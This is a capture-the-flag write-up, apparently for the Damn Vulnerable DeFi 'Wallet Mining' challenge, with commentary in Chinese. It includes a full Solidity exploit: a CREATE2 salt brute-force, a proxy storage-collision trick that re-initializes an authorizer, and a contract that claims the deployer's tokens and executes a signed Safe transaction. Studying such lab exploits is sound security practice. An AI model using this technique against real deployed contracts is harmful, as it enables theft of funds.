There’s a contract that incentivizes users to deploy Safe wallets, rewarding them with 1 DVT. It integrates with an upgradeable authorization mechanism, only allowing certain deployers (a.k.a. wards) to be paid for specific deployments.
The deployer contract only works with a Safe factory and copy set during deployment. It looks like the Safe singleton factory is already deployed.
The team transferred 20 million DVT tokens to a user at 0x8be6a88D3871f793aD5D5e24eF39e1bf5be31d2b, where her plain 1-of-1 Safe was supposed to land. But they lost the nonce they should use for deployment.
To make matters worse, there’s been rumours of a vulnerability in the system. The team’s freaked out. Nobody knows what to do, let alone the user. She granted you access to her private key.
You must save all funds before it’s too late!
Recover all tokens from the wallet deployer contract and send them to the corresponding ward. Also save and return all user’s funds.
In a single transaction.
按照題目的要求,我們首先需要幫一個天才找到它弄丟可以用於部署合約的 nonce,然後合約中有一些問題,像是 TransparentProxy
,其中的一些功能會產生衝突,例如 AuthorizerUpgradeable
中的 needsInit
當它的值不為 0 的時候就可以調用 int()
,然後就可以增加獲取錢包的地址,然後因為它們都使用第一個儲存槽,從而 AuthorizerUpgradeable
未再次初始化
然後合約中還設定了一個 WalletDeployer
,它可用於部署像錢包一樣的錢包 USER_DEPOSIT_ADDRESS
,然後可以利用 WalletDeployer.drop
去追蹤出 nonce
是怎麼用的
至於剩下的,就是耍一些小手段來達成我們的目的
整理完上面的資訊以後,我們就可以寫出一個攻擊合約
測試 function:
function test_walletMining() public checkSolvedByPlayer {
address ZEROAddr = address(0);
address[] memory owners = new address[](1);
owners[0] = user;
// 生成 Safe 初始化的數據
bytes memory initializer = abi.encodeWithSelector(Safe.setup.selector, owners, 1, ZEROAddr, "", ZEROAddr, ZEROAddr, 0, ZEROAddr);
// 計算 Safe 部署的創建碼和目標地址
bytes memory deploymentData = abi.encodePacked(type(SafeProxy).creationCode, uint256(uint160(address(singletonCopy))));
uint256 saltNonce;
for (uint256 i = 0; i < 100; ++i) {
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), i));
address walletAddress = Create2.computeAddress(salt, keccak256(deploymentData), address(proxyFactory));
if (walletAddress == USER_DEPOSIT_ADDRESS) {
console.log("nonce: ", i);
saltNonce = i;
break;
}
}
// 構建 Safe 交易並進行簽名
bytes memory execData;
{
address to = address(token);
uint256 value = 0;
bytes memory data = abi.encodeWithSelector(token.transfer.selector, user, DEPOSIT_TOKEN_AMOUNT);
Enum.Operation operation = Enum.Operation.Call;
uint256 safeTxGas = 100000;
uint256 baseGas = 100000;
uint256 gasPrice = 0;
address gasToken = address(0);
address refundReceiver = address(0);
uint256 nonce = 0;
bytes memory signatures;
// 計算交易哈希和簽名
{
bytes32 safeTxHash = keccak256(
abi.encode(
0xbb8310d486368db6bd6f849402fdd73ad53d316b5a4b2644ad6efe0f941286d8, // SAFE_TX_TYPEHASH
to,
value,
keccak256(data),
operation,
safeTxGas,
baseGas,
gasPrice,
gasToken,
refundReceiver,
nonce
)
);
bytes32 domainSeparator = keccak256(abi.encode(
0x47e79534a245952e8b16893a336b85a3d9ea9fa8c573f3d803afb92a79469218, // DOMAIN_SEPARATOR_TYPEHASH
singletonCopy.getChainId(),
USER_DEPOSIT_ADDRESS
));
bytes32 txHash = keccak256(abi.encodePacked(bytes1(0x19), bytes1(0x01), domainSeparator, safeTxHash));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(userPrivateKey, txHash);
signatures = abi.encodePacked(r, s, v);
}
// 構建 Safe 交易的執行數據
execData = abi.encodeWithSelector(
singletonCopy.execTransaction.selector,
to,
value,
data,
operation,
safeTxGas,
baseGas,
gasPrice,
gasToken,
refundReceiver,
signatures
);
}
// 部署攻擊合約並執行攻擊
new WalletMiningAttacker(token, authorizer, walletDeployer, USER_DEPOSIT_ADDRESS, ward, initializer, saltNonce, execData);
}
攻擊合約:
contract WalletMiningAttacker {
constructor(
DamnValuableToken token,
AuthorizerUpgradeable authorizer,
WalletDeployer walletDeployer,
address safe,
address ward,
bytes memory initializer,
uint256 saltNonce,
bytes memory txData
) {
// 設置權限
address[] memory wards = new address[](1);
address[] memory aims = new address[](1);
wards[0] = address(this);
aims[0] = safe;
authorizer.init(wards, aims);
// 執行 WalletDeployer 的 drop 函數,部署 Safe
bool success = walletDeployer.drop(safe, initializer, saltNonce);
require(success, "Safe deployment failed");
// 轉移代幣給指定的 ward 地址
token.transfer(ward, token.balanceOf(address(this)));
// 執行 Safe 的交易
(success,) = safe.call(txData);
require(success, "Safe transaction execution failed");
}
}
每日梗圖(1/1)